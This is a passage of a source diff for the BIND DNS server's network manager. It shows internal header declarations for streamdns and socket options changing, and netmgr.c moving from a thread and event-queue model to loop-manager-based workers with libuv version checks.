-	isc___nm_uverr2result(x, true, __FILE__, __LINE__, __func__)
+void
+isc__nm_http_set_tlsctx(isc_nmsocket_t *sock, isc_tlsctx_t *tlsctx);
+
+void
+isc__nm_http_set_max_streams(isc_nmsocket_t *listener,
+			     const uint32_t max_concurrent_streams);
+
+#endif
+
+void
+isc__nm_streamdns_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb,
+		       void *cbarg);
+
+void
+isc__nm_streamdns_send(isc_nmhandle_t *handle, const isc_region_t *region,
+		       isc_nm_cb_t cb, void *cbarg);
+
+void
+isc__nm_streamdns_close(isc_nmsocket_t *sock);
+
+void
+isc__nm_streamdns_stoplistening(isc_nmsocket_t *sock);
+
+void
+isc__nm_streamdns_cleanup_data(isc_nmsocket_t *sock);
+
+void
+isc__nmhandle_streamdns_cleartimeout(isc_nmhandle_t *handle);
+
+void
+isc__nmhandle_streamdns_settimeout(isc_nmhandle_t *handle, uint32_t timeout);
+
+void
+isc__nmhandle_streamdns_keepalive(isc_nmhandle_t *handle, bool value);
+
+void
+isc__nmhandle_streamdns_setwritetimeout(isc_nmhandle_t *handle,
+					uint32_t timeout);
+
+bool
+isc__nm_streamdns_has_encryption(const isc_nmhandle_t *handle);
+
+const char *
+isc__nm_streamdns_verify_tls_peer_result_string(const isc_nmhandle_t *handle);
+
+void
+isc__nm_streamdns_set_tlsctx(isc_nmsocket_t *listener, isc_tlsctx_t *tlsctx);
+
 isc_result_t
-isc___nm_uverr2result(int uverr, bool dolog, const char *file,
-		      unsigned int line, const char *func);
-/*%<
- * Convert a libuv error value into an isc_result_t.  The
- * list of supported error values is not complete; new users
- * of this function should add any expected errors that are
- * not already there.
- */
+isc__nm_streamdns_xfr_checkperm(isc_nmsocket_t *sock);
+
+void
+isc__nmsocket_streamdns_reset(isc_nmsocket_t *sock);
 
 bool
-isc__nm_acquire_interlocked(isc_nm_t *mgr);
-/*%<
- * Try to acquire interlocked state; return true if successful.
- */
+isc__nmsocket_streamdns_timer_running(isc_nmsocket_t *sock);
 
 void
-isc__nm_drop_interlocked(isc_nm_t *mgr);
-/*%<
- * Drop interlocked state; signal waiters.
- */
+isc__nmsocket_streamdns_timer_stop(isc_nmsocket_t *sock);
 
 void
-isc__nm_acquire_interlocked_force(isc_nm_t *mgr);
-/*%<
- * Actively wait for interlocked state.
- */
+isc__nmsocket_streamdns_timer_restart(isc_nmsocket_t *sock);
+
+void
+isc__nm_streamdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+				 bool async);
 
 void
-isc__nm_incstats(isc_nm_t *mgr, isc_statscounter_t counterid);
+isc__nm_incstats(isc_nmsocket_t *sock, isc__nm_statid_t id);
 /*%<
  * Increment socket-related statistics counters.
  */
 
 void
-isc__nm_decstats(isc_nm_t *mgr, isc_statscounter_t counterid);
+isc__nm_decstats(isc_nmsocket_t *sock, isc__nm_statid_t id);
 /*%<
  * Decrement socket-related statistics counters.
  */
@@ -1735,12 +1160,6 @@ isc__nm_closesocket(uv_os_sock_t sock);
  * Platform independent closesocket() version
  */
 
-isc_result_t
-isc__nm_socket_freebind(uv_os_sock_t fd, sa_family_t sa_family);
-/*%<
- * Set the IP_FREEBIND (or equivalent) socket option on the uv_handle
- */
-
 isc_result_t
 isc__nm_socket_reuse(uv_os_sock_t fd);
 /*%<
@@ -1760,9 +1179,16 @@ isc__nm_socket_incoming_cpu(uv_os_sock_t fd);
  */
 
 isc_result_t
-isc__nm_socket_dontfrag(uv_os_sock_t fd, sa_family_t sa_family);
+isc__nm_socket_disable_pmtud(uv_os_sock_t fd, sa_family_t sa_family);
 /*%<
- * Set the SO_IP_DONTFRAG (or equivalent) socket option of the fd if available
+ * Disable the Path MTU Discovery, either by disabling IP(V6)_DONTFRAG socket
+ * option, or setting the IP(V6)_MTU_DISCOVER socket option to IP_PMTUDISC_OMIT
+ */
+
+isc_result_t
+isc__nm_socket_v6only(uv_os_sock_t fd, sa_family_t sa_family);
+/*%<
+ * Restrict the socket to sending and receiving IPv6 packets only
  */
 
 isc_result_t
@@ -1773,9 +1199,22 @@ isc__nm_socket_connectiontimeout(uv_os_sock_t fd, int timeout_ms);
  */
 
 isc_result_t
-isc__nm_socket_tcp_nodelay(uv_os_sock_t fd);
+isc__nm_socket_tcp_nodelay(const uv_os_sock_t fd, bool value);
+/*%<
+ * Disables/Enables Nagle's algorithm on a TCP socket (sets TCP_NODELAY if
+ * 'value' equals 'true' or vice versa).
+ */
+
+isc_result_t
+isc__nm_socket_tcp_maxseg(uv_os_sock_t fd, int size);
+/*%<
+ * Set the TCP maximum segment size
+ */
+
+isc_result_t
+isc__nm_socket_min_mtu(uv_os_sock_t fd, sa_family_t sa_family);
 /*%<
- * Disables Nagle's algorithm on a TCP socket (sets TCP_NODELAY).
+ * Use minimum MTU on IPv6 sockets
  */
 
 void
@@ -1784,200 +1223,129 @@ isc__nm_set_network_buffers(isc_nm_t *nm, uv_handle_t *handle);
  * Sets the pre-configured network buffers size on the handle.
  */
 
-/*
- * typedef all the netievent types
- */
-
-NETIEVENT_SOCKET_TYPE(close);
-NETIEVENT_SOCKET_TYPE(tcpclose);
-NETIEVENT_SOCKET_TYPE(tcplisten);
-NETIEVENT_SOCKET_TYPE(tcppauseread);
-NETIEVENT_SOCKET_TYPE(tcpstop);
-NETIEVENT_SOCKET_TYPE(tlsclose);
-/* NETIEVENT_SOCKET_TYPE(tlsconnect); */ /* unique type, defined independently
-					  */
-NETIEVENT_SOCKET_TYPE(tlsdobio);
-NETIEVENT_SOCKET_TYPE(tlsstartread);
-NETIEVENT_SOCKET_HANDLE_TYPE(tlscancel);
-NETIEVENT_SOCKET_TYPE(udpclose);
-NETIEVENT_SOCKET_TYPE(udplisten);
-NETIEVENT_SOCKET_TYPE(udpread);
-/* NETIEVENT_SOCKET_TYPE(udpsend); */ /* unique type, defined independently */
-NETIEVENT_SOCKET_TYPE(udpstop);
-
-NETIEVENT_SOCKET_TYPE(tcpdnsclose);
-NETIEVENT_SOCKET_TYPE(tcpdnsread);
-NETIEVENT_SOCKET_TYPE(tcpdnsstop);
-NETIEVENT_SOCKET_TYPE(tcpdnslisten);
-NETIEVENT_SOCKET_REQ_TYPE(tcpdnsconnect);
-NETIEVENT_SOCKET_REQ_TYPE(tcpdnssend);
-NETIEVENT_SOCKET_HANDLE_TYPE(tcpdnscancel);
-NETIEVENT_SOCKET_QUOTA_TYPE(tcpdnsaccept);
-
-NETIEVENT_SOCKET_TYPE(tlsdnsclose);
-NETIEVENT_SOCKET_TYPE(tlsdnsread);
-NETIEVENT_SOCKET_TYPE(tlsdnsstop);
-NETIEVENT_SOCKET_TYPE(tlsdnsshutdown);
-NETIEVENT_SOCKET_TYPE(tlsdnslisten);
-NETIEVENT_SOCKET_REQ_TYPE(tlsdnsconnect);
-NETIEVENT_SOCKET_REQ_TYPE(tlsdnssend);
-NETIEVENT_SOCKET_HANDLE_TYPE(tlsdnscancel);
-NETIEVENT_SOCKET_QUOTA_TYPE(tlsdnsaccept);
-NETIEVENT_SOCKET_TYPE(tlsdnscycle);
-
-NETIEVENT_SOCKET_TYPE(httpstop);
-NETIEVENT_SOCKET_REQ_TYPE(httpsend);
-NETIEVENT_SOCKET_TYPE(httpclose);
-
-NETIEVENT_SOCKET_REQ_TYPE(tcpconnect);
-NETIEVENT_SOCKET_REQ_TYPE(tcpsend);
-NETIEVENT_SOCKET_TYPE(tcpstartread);
-NETIEVENT_SOCKET_REQ_TYPE(tlssend);
-NETIEVENT_SOCKET_REQ_TYPE(udpconnect);
-
-NETIEVENT_SOCKET_REQ_RESULT_TYPE(connectcb);
-NETIEVENT_SOCKET_REQ_RESULT_TYPE(readcb);
-NETIEVENT_SOCKET_REQ_RESULT_TYPE(sendcb);
-
-NETIEVENT_SOCKET_HANDLE_TYPE(detach);
-NETIEVENT_SOCKET_HANDLE_TYPE(tcpcancel);
-NETIEVENT_SOCKET_HANDLE_TYPE(udpcancel);
-
-NETIEVENT_SOCKET_QUOTA_TYPE(tcpaccept);
-
-NETIEVENT_TYPE(pause);
-NETIEVENT_TYPE(resume);
-NETIEVENT_TYPE(shutdown);
-NETIEVENT_TYPE(stop);
-
-NETIEVENT_TASK_TYPE(task);
-NETIEVENT_TASK_TYPE(privilegedtask);
-
-/* Now declared the helper functions */
-
-NETIEVENT_SOCKET_DECL(close);
-NETIEVENT_SOCKET_DECL(tcpclose);
-NETIEVENT_SOCKET_DECL(tcplisten);
-NETIEVENT_SOCKET_DECL(tcppauseread);
-NETIEVENT_SOCKET_DECL(tcpstartread);
-NETIEVENT_SOCKET_DECL(tcpstop);
-NETIEVENT_SOCKET_DECL(tlsclose);
-NETIEVENT_SOCKET_DECL(tlsconnect);
-NETIEVENT_SOCKET_DECL(tlsdobio);
-NETIEVENT_SOCKET_DECL(tlsstartread);
-NETIEVENT_SOCKET_HANDLE_DECL(tlscancel);
-NETIEVENT_SOCKET_DECL(udpclose);
-NETIEVENT_SOCKET_DECL(udplisten);
-NETIEVENT_SOCKET_DECL(udpread);
-NETIEVENT_SOCKET_DECL(udpsend);
-NETIEVENT_SOCKET_DECL(udpstop);
-
-NETIEVENT_SOCKET_DECL(tcpdnsclose);
-NETIEVENT_SOCKET_DECL(tcpdnsread);
-NETIEVENT_SOCKET_DECL(tcpdnsstop);
-NETIEVENT_SOCKET_DECL(tcpdnslisten);
-NETIEVENT_SOCKET_REQ_DECL(tcpdnsconnect);
-NETIEVENT_SOCKET_REQ_DECL(tcpdnssend);
-NETIEVENT_SOCKET_HANDLE_DECL(tcpdnscancel);
-NETIEVENT_SOCKET_QUOTA_DECL(tcpdnsaccept);
-
-NETIEVENT_SOCKET_DECL(tlsdnsclose);
-NETIEVENT_SOCKET_DECL(tlsdnsread);
-NETIEVENT_SOCKET_DECL(tlsdnsstop);
-NETIEVENT_SOCKET_DECL(tlsdnsshutdown);
-NETIEVENT_SOCKET_DECL(tlsdnslisten);
-NETIEVENT_SOCKET_REQ_DECL(tlsdnsconnect);
-NETIEVENT_SOCKET_REQ_DECL(tlsdnssend);
-NETIEVENT_SOCKET_HANDLE_DECL(tlsdnscancel);
-NETIEVENT_SOCKET_QUOTA_DECL(tlsdnsaccept);
-NETIEVENT_SOCKET_DECL(tlsdnscycle);
-
-NETIEVENT_SOCKET_DECL(httpstop);
-NETIEVENT_SOCKET_REQ_DECL(httpsend);
-NETIEVENT_SOCKET_DECL(httpclose);
-
-NETIEVENT_SOCKET_REQ_DECL(tcpconnect);
-NETIEVENT_SOCKET_REQ_DECL(tcpsend);
-NETIEVENT_SOCKET_REQ_DECL(tlssend);
-NETIEVENT_SOCKET_REQ_DECL(udpconnect);
-
-NETIEVENT_SOCKET_REQ_RESULT_DECL(connectcb);
-NETIEVENT_SOCKET_REQ_RESULT_DECL(readcb);
-NETIEVENT_SOCKET_REQ_RESULT_DECL(sendcb);
-
-NETIEVENT_SOCKET_HANDLE_DECL(udpcancel);
-NETIEVENT_SOCKET_HANDLE_DECL(tcpcancel);
-NETIEVENT_SOCKET_DECL(detach);
-
-NETIEVENT_SOCKET_QUOTA_DECL(tcpaccept);
-
-NETIEVENT_DECL(pause);
-NETIEVENT_DECL(resume);
-NETIEVENT_DECL(shutdown);
-NETIEVENT_DECL(stop);
-
-NETIEVENT_TASK_DECL(task);
-NETIEVENT_TASK_DECL(privilegedtask);
-
-void
-isc__nm_udp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result);
-void
-isc__nm_tcp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result);
-void
-isc__nm_tcpdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result);
-void
-isc__nm_tlsdns_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
-			      bool async);
+void
+isc__nmsocket_barrier_init(isc_nmsocket_t *listener);
+/*%>
+ * Initialise the socket synchronisation barrier according to the
+ * number of children.
+ */
 
-isc_result_t
-isc__nm_tcpdns_processbuffer(isc_nmsocket_t *sock);
-isc_result_t
-isc__nm_tlsdns_processbuffer(isc_nmsocket_t *sock);
+void
+isc__nmsocket_stop(isc_nmsocket_t *listener);
+/*%>
+ * Broadcast "stop" event for a listener socket across all workers and
+ * wait its processing completion - then, stop and close the underlying
+ * transport listener socket.
+ *
+ * The primitive is used in multi-layer transport listener sockets to
+ * implement shutdown properly: after the broadcasted events has been
+ * processed it is safe to destroy the shared data within the listener
+ * socket (including shutting down the underlying transport listener
+ * socket).
+ */
+
+void
+isc__nm_udp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async);
+void
+isc__nm_tcp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async);
 
 isc__nm_uvreq_t *
-isc__nm_get_read_req(isc_nmsocket_t *sock, isc_sockaddr_t *sockaddr);
+isc___nm_get_read_req(isc_nmsocket_t *sock, isc_sockaddr_t *sockaddr FLARG);
 
 void
 isc__nm_alloc_cb(uv_handle_t *handle, size_t size, uv_buf_t *buf);
 
 void
 isc__nm_udp_read_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
-		    const struct sockaddr *addr, unsigned flags);
+		    const struct sockaddr *addr, unsigned int flags);
 void
 isc__nm_tcp_read_cb(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf);
-void
-isc__nm_tcpdns_read_cb(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf);
-void
-isc__nm_tlsdns_read_cb(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf);
 
-void
+isc_result_t
 isc__nm_start_reading(isc_nmsocket_t *sock);
 void
 isc__nm_stop_reading(isc_nmsocket_t *sock);
-void
-isc__nm_process_sock_buffer(isc_nmsocket_t *sock);
-void
-isc__nm_resume_processing(void *arg);
 bool
 isc__nmsocket_closing(isc_nmsocket_t *sock);
 bool
-isc__nm_closing(isc_nmsocket_t *sock);
-
-void
-isc__nm_alloc_dnsbuf(isc_nmsocket_t *sock, size_t len);
+isc__nm_closing(isc__networker_t *worker);
 
 void
 isc__nm_failed_send_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-		       isc_result_t eresult);
-void
-isc__nm_failed_accept_cb(isc_nmsocket_t *sock, isc_result_t eresult);
+		       isc_result_t eresult, bool async);
 void
 isc__nm_failed_connect_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
 			  isc_result_t eresult, bool async);
 void
 isc__nm_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result, bool async);
 
+void
+isc__nm_accept_connection_log(isc_nmsocket_t *sock, isc_result_t result,
+			      bool can_log_quota);
+
+/*
+ * Timeout callbacks
+ */
 void
 isc__nmsocket_connecttimeout_cb(uv_timer_t *timer);
+void
+isc__nmsocket_readtimeout_cb(uv_timer_t *timer);
+void
+isc__nmsocket_writetimeout_cb(void *data, isc_result_t eresult);
+
+/*
+ * Bind to the socket, but allow binding to IPv6 tentative addresses reported by
+ * the route socket by setting IP_FREEBIND (or equivalent).
+ */
+int
+isc__nm_udp_freebind(uv_udp_t *handle, const struct sockaddr *addr,
+		     unsigned int flags);
 
-#define STREAM_CLIENTS_PER_CONN 23
+int
+isc__nm_tcp_freebind(uv_tcp_t *handle, const struct sockaddr *addr,
+		     unsigned int flags);
+
+void
+isc__nmsocket_log_tls_session_reuse(isc_nmsocket_t *sock, isc_tls_t *tls);
+
+/*
+ * Logging helpers
+ */
+void
+isc__netmgr_log(const isc_nm_t *netmgr, int level, const char *fmt, ...)
+	ISC_FORMAT_PRINTF(3, 4);
+void
+isc__nmsocket_log(const isc_nmsocket_t *sock, int level, const char *fmt, ...)
+	ISC_FORMAT_PRINTF(3, 4);
+void
+isc__nmhandle_log(const isc_nmhandle_t *handle, int level, const char *fmt, ...)
+	ISC_FORMAT_PRINTF(3, 4);
+
+void
+isc__nmhandle_set_manual_timer(isc_nmhandle_t *handle, const bool manual);
+/*
+ * Set manual read timer control mode - so that it will not get reset
+ * automatically on read nor get started when read is initiated.
+ */
+
+void
+isc__nmhandle_get_selected_alpn(isc_nmhandle_t *handle,
+				const unsigned char **alpn,
+				unsigned int *alpnlen);
+/*
+ * Returns a non zero terminated ALPN identifier via 'alpn'. The
+ * length of the identifier is returned via 'alpnlen'. If after the
+ * call either 'alpn == NULL' or 'alpnlen == 0', then identifier was
+ * not negotiated of the underlying protocol of the connection
+ * represented via the given handle does not support ALPN.
+ */
+
+void
+isc__nm_senddns(isc_nmhandle_t *handle, isc_region_t *region, isc_nm_cb_t cb,
+		void *cbarg);
+/*%<
+ * The same as 'isc_nm_send()', but with data length sent
+ * ahead of data (two bytes (16 bit) in big-endian format).
+ */
diff --git a/lib/isc/netmgr/netmgr.c b/lib/isc/netmgr/netmgr.c
index 594b238c9d..e9a682df45 100644
--- a/lib/isc/netmgr/netmgr.c
+++ b/lib/isc/netmgr/netmgr.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,21 +11,24 @@
  * information regarding copyright ownership.
  */
 
+#include <assert.h>
 #include <inttypes.h>
 #include <unistd.h>
-#include <uv.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
 #include <isc/backtrace.h>
 #include <isc/barrier.h>
 #include <isc/buffer.h>
 #include <isc/condition.h>
 #include <isc/errno.h>
+#include <isc/job.h>
+#include <isc/list.h>
 #include <isc/log.h>
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
 #include <isc/netmgr.h>
-#include <isc/print.h>
 #include <isc/quota.h>
 #include <isc/random.h>
 #include <isc/refcount.h>
@@ -32,23 +37,15 @@
 #include <isc/sockaddr.h>
 #include <isc/stats.h>
 #include <isc/strerr.h>
-#include <isc/task.h>
 #include <isc/thread.h>
+#include <isc/tid.h>
 #include <isc/tls.h>
 #include <isc/util.h>
+#include <isc/uv.h>
 
+#include "../loop_p.h"
 #include "netmgr-int.h"
-#include "netmgr_p.h"
 #include "openssl_shim.h"
-#include "trampoline_p.h"
-#include "uv-compat.h"
-
-/*%
- * How many isc_nmhandles and isc_nm_uvreqs will we be
- * caching for reuse in a socket.
- */
-#define ISC_NM_HANDLES_STACK_SIZE 600
-#define ISC_NM_REQS_STACK_SIZE	  600
 
 /*%
  * Shortcut index arrays to get access to statistics counters.
@@ -117,230 +114,139 @@ static const isc_statscounter_t unixstatsindex[] = {
 };
 #endif /* if 0 */
 
-/*
- * libuv is not thread safe, but has mechanisms to pass messages
- * between threads. Each socket is owned by a thread. For UDP
- * sockets we have a set of sockets for each interface and we can
- * choose a sibling and send the message directly. For TCP, or if
- * we're calling from a non-networking thread, we need to pass the
- * request using async_cb.
- */
-
-static thread_local int isc__nm_tid_v = ISC_NETMGR_TID_UNKNOWN;
-
 static void
 nmsocket_maybe_destroy(isc_nmsocket_t *sock FLARG);
 static void
 nmhandle_free(isc_nmsocket_t *sock, isc_nmhandle_t *handle);
-static isc_threadresult_t
-nm_thread(isc_threadarg_t worker0);
-static void
-async_cb(uv_async_t *handle);
-static bool
-process_netievent(isc__networker_t *worker, isc__netievent_t *ievent);
-static isc_result_t
-process_queue(isc__networker_t *worker, netievent_type_t type);
-static void
-wait_for_priority_queue(isc__networker_t *worker);
-static void
-drain_queue(isc__networker_t *worker, netievent_type_t type);
-
-#define ENQUEUE_NETIEVENT(worker, queue, event) \
-	isc_queue_enqueue(worker->ievents[queue], (uintptr_t)event)
-#define DEQUEUE_NETIEVENT(worker, queue) \
-	(isc__netievent_t *)isc_queue_dequeue(worker->ievents[queue])
-
-#define ENQUEUE_PRIORITY_NETIEVENT(worker, event) \
-	ENQUEUE_NETIEVENT(worker, NETIEVENT_PRIORITY, event)
-#define ENQUEUE_PRIVILEGED_NETIEVENT(worker, event) \
-	ENQUEUE_NETIEVENT(worker, NETIEVENT_PRIVILEGED, event)
-#define ENQUEUE_TASK_NETIEVENT(worker, event) \
-	ENQUEUE_NETIEVENT(worker, NETIEVENT_TASK, event)
-#define ENQUEUE_NORMAL_NETIEVENT(worker, event) \
-	ENQUEUE_NETIEVENT(worker, NETIEVENT_NORMAL, event)
-
-#define DEQUEUE_PRIORITY_NETIEVENT(worker) \
-	DEQUEUE_NETIEVENT(worker, NETIEVENT_PRIORITY)
-#define DEQUEUE_PRIVILEGED_NETIEVENT(worker) \
-	DEQUEUE_NETIEVENT(worker, NETIEVENT_PRIVILEGED)
-#define DEQUEUE_TASK_NETIEVENT(worker) DEQUEUE_NETIEVENT(worker, NETIEVENT_TASK)
-#define DEQUEUE_NORMAL_NETIEVENT(worker) \
-	DEQUEUE_NETIEVENT(worker, NETIEVENT_NORMAL)
-
-#define INCREMENT_NETIEVENT(worker, queue) \
-	atomic_fetch_add_release(&worker->nievents[queue], 1)
-#define DECREMENT_NETIEVENT(worker, queue) \
-	atomic_fetch_sub_release(&worker->nievents[queue], 1)
-
-#define INCREMENT_PRIORITY_NETIEVENT(worker) \
-	INCREMENT_NETIEVENT(worker, NETIEVENT_PRIORITY)
-#define INCREMENT_PRIVILEGED_NETIEVENT(worker) \
-	INCREMENT_NETIEVENT(worker, NETIEVENT_PRIVILEGED)
-#define INCREMENT_TASK_NETIEVENT(worker) \
-	INCREMENT_NETIEVENT(worker, NETIEVENT_TASK)
-#define INCREMENT_NORMAL_NETIEVENT(worker) \
-	INCREMENT_NETIEVENT(worker, NETIEVENT_NORMAL)
-
-#define DECREMENT_PRIORITY_NETIEVENT(worker) \
-	DECREMENT_NETIEVENT(worker, NETIEVENT_PRIORITY)
-#define DECREMENT_PRIVILEGED_NETIEVENT(worker) \
-	DECREMENT_NETIEVENT(worker, NETIEVENT_PRIVILEGED)
-#define DECREMENT_TASK_NETIEVENT(worker) \
-	DECREMENT_NETIEVENT(worker, NETIEVENT_TASK)
-#define DECREMENT_NORMAL_NETIEVENT(worker) \
-	DECREMENT_NETIEVENT(worker, NETIEVENT_NORMAL)
-
-static void
-isc__nm_async_stop(isc__networker_t *worker, isc__netievent_t *ev0);
-static void
-isc__nm_async_pause(isc__networker_t *worker, isc__netievent_t *ev0);
-static void
-isc__nm_async_resume(isc__networker_t *worker, isc__netievent_t *ev0);
-static void
-isc__nm_async_detach(isc__networker_t *worker, isc__netievent_t *ev0);
-static void
-isc__nm_async_close(isc__networker_t *worker, isc__netievent_t *ev0);
-
-static void
-isc__nm_threadpool_initialize(uint32_t workers);
-static void
-isc__nm_work_cb(uv_work_t *req);
-static void
-isc__nm_after_work_cb(uv_work_t *req, int status);
 
 /*%<
  * Issue a 'handle closed' callback on the socket.
  */
 
 static void
-nmhandle_detach_cb(isc_nmhandle_t **handlep FLARG);
+shutdown_walk_cb(uv_handle_t *handle, void *arg);
 
-int
-isc_nm_tid(void) {
-	return (isc__nm_tid_v);
-}
+static void
+networker_teardown(void *arg) {
+	isc__networker_t *worker = arg;
+	isc_loop_t *loop = worker->loop;
 
-bool
-isc__nm_in_netthread(void) {
-	return (isc__nm_tid_v >= 0);
-}
+	worker->shuttingdown = true;
 
-void
-isc__nm_force_tid(int tid) {
-	isc__nm_tid_v = tid;
+	isc__netmgr_log(worker->netmgr, ISC_LOG_DEBUG(1),
+			"Shutting down network manager worker on loop %p(%d)",
+			loop, isc_tid());
+
+	uv_walk(&loop->loop, shutdown_walk_cb, NULL);
+
+	isc__networker_detach(&worker);
 }
 
 static void
-isc__nm_threadpool_initialize(uint32_t workers) {
-	char buf[11];
-	int r = uv_os_getenv("UV_THREADPOOL_SIZE", buf,
-			     &(size_t){ sizeof(buf) });
-	if (r == UV_ENOENT) {
-		snprintf(buf, sizeof(buf), "%" PRIu32, workers);
-		uv_os_setenv("UV_THREADPOOL_SIZE", buf);
+netmgr_teardown(void *arg) {
+	isc_nm_t *netmgr = (void *)arg;
+
+	if (atomic_compare_exchange_strong_acq_rel(&netmgr->shuttingdown,
+						   &(bool){ false }, true))
+	{
+		isc__netmgr_log(netmgr, ISC_LOG_DEBUG(1),
+				"Shutting down network manager");
 	}
 }
 
+#if HAVE_DECL_UV_UDP_LINUX_RECVERR
+#define MINIMAL_UV_VERSION UV_VERSION(1, 42, 0)
+#elif HAVE_DECL_UV_UDP_MMSG_FREE
+#define MINIMAL_UV_VERSION UV_VERSION(1, 40, 0)
+#elif HAVE_DECL_UV_UDP_RECVMMSG
+#define MAXIMAL_UV_VERSION UV_VERSION(1, 39, 99)
+#define MINIMAL_UV_VERSION UV_VERSION(1, 37, 0)
+#else
+#define MAXIMAL_UV_VERSION UV_VERSION(1, 34, 99)
+#define MINIMAL_UV_VERSION UV_VERSION(1, 34, 0)
+#endif
+
 void
-isc__netmgr_create(isc_mem_t *mctx, uint32_t workers, isc_nm_t **netmgrp) {
-	isc_nm_t *mgr = NULL;
-	char name[32];
-
-	REQUIRE(workers > 0);
-
-	isc__nm_threadpool_initialize(workers);
-
-	mgr = isc_mem_get(mctx, sizeof(*mgr));
-	*mgr = (isc_nm_t){ .nworkers = workers };
-
-	isc_mem_attach(mctx, &mgr->mctx);
-	isc_mutex_init(&mgr->lock);
-	isc_condition_init(&mgr->wkstatecond);
-	isc_condition_init(&mgr->wkpausecond);
-	isc_refcount_init(&mgr->references, 1);
-	atomic_init(&mgr->maxudp, 0);
-	atomic_init(&mgr->interlocked, ISC_NETMGR_NON_INTERLOCKED);
-	atomic_init(&mgr->workers_paused, 0);
-	atomic_init(&mgr->paused, false);
-	atomic_init(&mgr->closing, false);
-	atomic_init(&mgr->recv_tcp_buffer_size, 0);
-	atomic_init(&mgr->send_tcp_buffer_size, 0);
-	atomic_init(&mgr->recv_udp_buffer_size, 0);
-	atomic_init(&mgr->send_udp_buffer_size, 0);
-
-#ifdef NETMGR_TRACE
-	ISC_LIST_INIT(mgr->active_sockets);
+isc_netmgr_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t **netmgrp) {
+	isc_nm_t *netmgr = NULL;
+
+#ifdef MAXIMAL_UV_VERSION
+	if (uv_version() > MAXIMAL_UV_VERSION) {
+		FATAL_ERROR("libuv version too new: running with libuv %s "
+			    "when compiled with libuv %s will lead to "
+			    "libuv failures",
+			    uv_version_string(), UV_VERSION_STRING);
+	}
+#endif /* MAXIMAL_UV_VERSION */
+
+	if (uv_version() < MINIMAL_UV_VERSION) {
+		FATAL_ERROR("libuv version too old: running with libuv %s "
+			    "when compiled with libuv %s will lead to "
+			    "libuv failures",
+			    uv_version_string(), UV_VERSION_STRING);
+	}
+
+	netmgr = isc_mem_get(mctx, sizeof(*netmgr));
+	*netmgr = (isc_nm_t){
+		.loopmgr = loopmgr,
+		.nloops = isc_loopmgr_nloops(loopmgr),
+	};
+
+	isc_mem_attach(mctx, &netmgr->mctx);
+	isc_mutex_init(&netmgr->lock);
+	isc_refcount_init(&netmgr->references, 1);
+	atomic_init(&netmgr->maxudp, 0);
+	atomic_init(&netmgr->shuttingdown, false);
+	atomic_init(&netmgr->recv_tcp_buffer_size, 0);
+	atomic_init(&netmgr->send_tcp_buffer_size, 0);
+	atomic_init(&netmgr->recv_udp_buffer_size, 0);
+	atomic_init(&netmgr->send_udp_buffer_size, 0);
+#if HAVE_SO_REUSEPORT_LB
+	netmgr->load_balance_sockets = true;
+#else
+	netmgr->load_balance_sockets = false;
 #endif
 
 	/*
 	 * Default TCP timeout values.
 	 * May be updated by isc_nm_tcptimeouts().
 	 */
-	atomic_init(&mgr->init, 30000);
-	atomic_init(&mgr->idle, 30000);
-	atomic_init(&mgr->keepalive, 30000);
-	atomic_init(&mgr->advertised, 30000);
-
-	isc_mutex_init(&mgr->reqlock);
-	isc_mempool_create(mgr->mctx, sizeof(isc__nm_uvreq_t), &mgr->reqpool);
-	isc_mempool_setname(mgr->reqpool, "nm_reqpool");
-	isc_mempool_setfreemax(mgr->reqpool, 4096);
-	isc_mempool_associatelock(mgr->reqpool, &mgr->reqlock);
-	isc_mempool_setfillcount(mgr->reqpool, 32);
-
-	isc_mutex_init(&mgr->evlock);
-	isc_mempool_create(mgr->mctx, sizeof(isc__netievent_storage_t),
-			   &mgr->evpool);
-	isc_mempool_setname(mgr->evpool, "nm_evpool");
-	isc_mempool_setfreemax(mgr->evpool, 4096);
-	isc_mempool_associatelock(mgr->evpool, &mgr->evlock);
-	isc_mempool_setfillcount(mgr->evpool, 32);
-
-	isc_barrier_init(&mgr->pausing, workers);
-	isc_barrier_init(&mgr->resuming, workers);
-
-	mgr->workers = isc_mem_get(mctx, workers * sizeof(isc__networker_t));
-	for (size_t i = 0; i < workers; i++) {
-		int r;
-		isc__networker_t *worker = &mgr->workers[i];
-		*worker = (isc__networker_t){
-			.mgr = mgr,
-			.id = i,
-		};
+	atomic_init(&netmgr->init, 30000);
+	atomic_init(&netmgr->idle, 30000);
+	atomic_init(&netmgr->keepalive, 30000);
+	atomic_init(&netmgr->advertised, 30000);
 
-		r = uv_loop_init(&worker->loop);
-		RUNTIME_CHECK(r == 0);
+	netmgr->workers = isc_mem_cget(mctx, netmgr->nloops,
+				       sizeof(netmgr->workers[0]));
 
-		worker->loop.data = &mgr->workers[i];
+	isc_loopmgr_teardown(loopmgr, netmgr_teardown, netmgr);
 
-		r = uv_async_init(&worker->loop, &worker->async, async_cb);
-		RUNTIME_CHECK(r == 0);
+	netmgr->magic = NM_MAGIC;
 
-		isc_mutex_init(&worker->lock);
-		isc_condition_init(&worker->cond_prio);
+	for (size_t i = 0; i < netmgr->nloops; i++) {
+		isc_loop_t *loop = isc_loop_get(netmgr->loopmgr, i);
+		isc__networker_t *worker = &netmgr->workers[i];
 
-		for (size_t type = 0; type < NETIEVENT_MAX; type++) {
